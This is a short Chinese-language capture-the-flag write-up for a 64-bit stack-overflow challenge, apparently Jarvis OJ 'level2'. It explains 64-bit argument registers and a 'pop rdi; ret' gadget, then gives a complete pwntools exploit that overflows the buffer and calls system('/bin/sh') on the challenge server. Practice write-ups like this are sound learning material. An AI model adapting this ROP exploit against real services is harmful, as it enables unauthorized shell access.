关于level2我就不多做赘述了。这道题和level2之间的区别就是一个是32位的栈溢出,另一个就是64位的栈溢出。
32位的函数在调用栈的时候是:
调用函数地址->函数的返回地址->参数n->参数n-1....->参数1
64位的函数在调用栈的时候是:
前六个参数按照约定存储在寄存器:rdi,rsi,rdx,rcx,r8,r9中。
参数超过六个的时候,第七个会压入栈中,并且先输入函数的返回地址,然后是函数的参数,之后才是函数的调用地址
然后是/bin/sh 和 system函数的地址
之后用ROPgadget来获取ret的地址
pop rdi; ret的意思是pop掉栈顶元素,并压入栈中,ret返回栈。
我当时考虑过,它会把什么压入栈中呢,然后想了一下就是这样的。
这个是vulnerable_function函数的栈,其中buf占了80个字节,r有8个字节。那么我们来想想一下,我们把payload全部送进去后,一定是填充了这个函数的堆栈,那么是怎么填充的呢
地址会继续往下走,那么在pop掉前面的‘a’之后便是pop下一个ropgadget出来的地址,然后就是栈顶的/bin/sh的地址被pop掉并放在rdi中。
from pwn import *
p=remote('pwn2.jarvisoj.com',9882)
payload=(0x88)*'A'+p64(0x4006b3)+p64(0x600A90)+p64(0x4004C0)
p.sendline(payload)
p.interactive()